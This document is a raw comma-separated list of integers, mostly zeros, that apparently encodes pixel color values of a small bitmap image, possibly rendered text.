0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,14408630,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,14408630,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,3827382,16777215,16758374,3827382,16777215,16767888,3801088,0,0,0,0,6731519,16777179,9452032,14906,6731483,14417919,16777215,14399078,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,14389306,0,0,0,0,0,14992,14417919,11964474,3816080,14417919,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,102,11993087,16777215,14389306,0,0,0,0,0,0,14992,14417919,16777142,6699622,11993087,16777179,9452032,0,0,0,0,102,11993087,16777215,16758374,0,6731519,16777215,16767888,3801088,0,0,0,0,58,9493503,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,3827382,16777215,16758374,3827382,16777215,16767888,3801088,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777179,9452032,14906,6731483,14417919,16777215,14399078,0,0,0,0,0,102,11983871,16777215,16758374,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,11953722,0,0,0,0,0,0,14992,14417919,16767888,6721755,16777215,14399078,0,0,0,0,0,6731519,16777215,11964518,9483995,14417919,16777215,16777215,16777142,6684672,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,3827382,16777215,16758374,3827382,16777215,16767888,3801088,0,0,0,0,26294,16777215,16777215,11953664,102,11993087,16777215,14389306,0,0,0,0,0,0,0,26294,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,9474230,11974288,6699520,0,0,58,9483958,11974288,9463354,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,11974326,9463354,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983835,14408667,14408667,14408667,14408667,14408630,9452032,0,14950,9483958,11974246,3801088,0,0,0,0,0,0,0,0,0,102,11983835,14408667,14408667,14408667,14408667,14408667,11964474,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,9474230,11974326,11964518,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,3838134,11974326,11974288,9463354,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493467,14408667,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,58,6710886,6710886,3801088,0,3827302,6710886,6699578,0,0,0,0,3816038,6710886,3801088,0,0,0,0,0,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,3838171,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827302,6710886,6710842,0,0,0,0,0,0,0,0,0,3827302,6710886,6710842,0,0,0,0,0,0,58,3827302,6710886,6699520,0,14950,6710886,6710842,3801088,0,0,0,0,14906,6710842,3801088,0,58,6710886,3815936,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,58,6710886,6710886,3801088,0,3827302,6710886,6699578,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,6710886,3801088,0,0,0,0,0,0,0,0,0,0,0,58,9483958,11974326,9452032,0,0,0,0,0,0,0,0,58,6721718,11974326,9463296,0,0,0,0,0,0,58,9483958,11974288,6684672,0,6721718,11974326,9463354,0,0,0,0,6731483,14408630,9452032,0,0,3827302,6710886,3815936,0,0,0,0,0,3838134,11964474,0,0,3827344,11974288,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,58,6710886,6710886,3801088,0,3827302,6710886,6699578,0,0,0,0,0,3816038,6699578,0,0,14906,6710842,3801088,0,0,0,0,0,0,58,3827302,6710886,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827382,11974326,9463354,0,0,0,0,0,0,0,0,0,0,0,0,26256,11974326,11964518,0,0,0,0,0,0,0,102,9483958,11974246,3801088,0,0,0,0,0,0,0,0,0,0,0,58,9483958,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408667,14408667,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26256,11974326,11964518,0,0,0,0,0,0,0,0,0,0,0,0,14950,11974326,11964518,3801088,0,0,0,0,0,0,58,6731446,11974288,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493467,14408667,9463296,0,0,0,0,0,0,0,0,0,0,0,58,9483995,14408667,11953664,0,0,0,0,0,0,0,26294,14408667,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6721718,11974288,3801088,0,0,0,0,26256,11974326,11964518,0,0,0,0,0,0,0,0,0,0,0,0,14950,11974326,11964518,3801088,0,0,0,0,0,0,58,6731446,11974288,6699520,0,0,0,0,0,0,0,0,0,0,0,0,3816038,6710842,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,14408667,14389306,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408667,14399078,0,0,0,0,0,0,0,14992,11983835,14408630,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983835,14408592,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,